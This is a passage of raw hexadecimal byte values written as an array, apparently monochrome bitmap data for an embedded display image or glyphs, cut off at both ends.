0X70, 0X07, 0XFE, 0X01, 0XC7, 0XF8, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XF0, 0X03, 0XFE, 0X01, 0XC6, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE0, 0X03, 0XFE, 0X01, 0XC6, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE1, 0X83, 0XFF, 0XF1, 0XC6, 0X00, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XE0, 0X01, 0XC6, 0X3F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XE0, 0X01, 0XC6, 0X3F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XE0, 0X01, 0XC6, 0X3F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC7, 0XE0, 0X01, 0XC6, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0X87, 0XFF, 0XF1, 0XC6, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0X8F, 0XFE, 0X01, 0XC6, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XFE, 0X01, 0XC6, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFE, 0X01, 0XC7, 0XFC, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFC, 0X3F, 0XF8, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XFF, 0XE0, 0X1F, 0XFC, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XFF, 0X00, 0X03, 0XFC, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X00, 0X30, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XEF, 0XFF, 0XFF, 0XE0, 0X07, 0XF0, 0X00, 0X7F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XFF, 0XFF, 0XF0, 0X07, 0XF8, 0X00, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X3F, 0XFF, 0XF7, 0X86, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X07, 0XFF, 0XFF, 0X80, 0X00, 0X10, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X01, 0XFF, 0XFF, 0X80, 0X00, 0XF8, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X3F, 0XFF, 0X80, 0X0F, 0XFC, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X07, 0XFF, 0X87, 0XFF, 0XFE, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XFF, 0X80, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XF1, 0X80, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X03, 0XF1, 0X80, 0X7C, 0X7F, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X07, 0XF1, 0X80, 0X4C, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X3F, 0XF1, 0X8F, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X01, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X07, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X3F, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XFF, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XEF, 0XFF, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XFF, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X3F, 0XF1, 0X8F, 0XFC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X0F, 0XF0, 0X00, 0X04, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X0F, 0XF0, 0X00, 0X04, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X07, 0XF0, 0X00, 0X04, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X07, 0XF0, 0X00, 0X04, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X43, 0X03, 0XF0, 0X00, 0X04, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0X83, 0XF1, 0X8F, 0XFC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0XC3, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XC7, 0XF1, 0X8C, 0XCC, 0X63, 0X8F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0X87, 0XF1, 0X8C, 0XCC, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0X07, 0XF1, 0X8F, 0XCC, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFF, 0XF1, 0X80, 0X4C, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XFF, 0XF1, 0X80, 0X7C, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0X80, 0X7C, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X0F, 0X87, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XC3, 0XFE, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XC3, 0XFE, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X83, 0XC3, 0XFE, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC1, 0XC3, 0XFE, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC1, 0XC3, 0XFE, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC0, 0X83, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE0, 0X07, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE0, 0X07, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XF0, 0X07, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XF0, 0X0F, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X1E, 0X1E, 0X1F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XE0, 0X00, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XE0, 0X00, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X03, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X7F, 0XFF, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFE, 0X1E, 0X1E, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X1F, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X1E, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XFE, 0X00, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XC0, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XE0, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XF0, 0X7F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X0F, 0XF0, 0X7F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X70, 0X07, 0XF0, 0X7F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XF0, 0X03, 0XF0, 0X7F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE0, 0X03, 0XF0, 0X7F, 0X83, 0XFE, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE1, 0X83, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC3, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0XC7, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XE3, 0X87, 0XF0, 0X7F, 0X83, 0XFE, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0X8F, 0XF0, 0X7F, 0X83, 0XFC, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X78, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XF0, 0X70, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XF0, 0X70, 0X00, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XF0, 0X70, 0X00, 0X00, 0X1F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XF0, 0X60, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X60, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X41, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X43, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X0F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X0F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X1F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X1F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X3F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XF0, 0X3F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XF0, 0X7F, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X43, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE1, 0XC3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XC3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XC7, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0X87, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 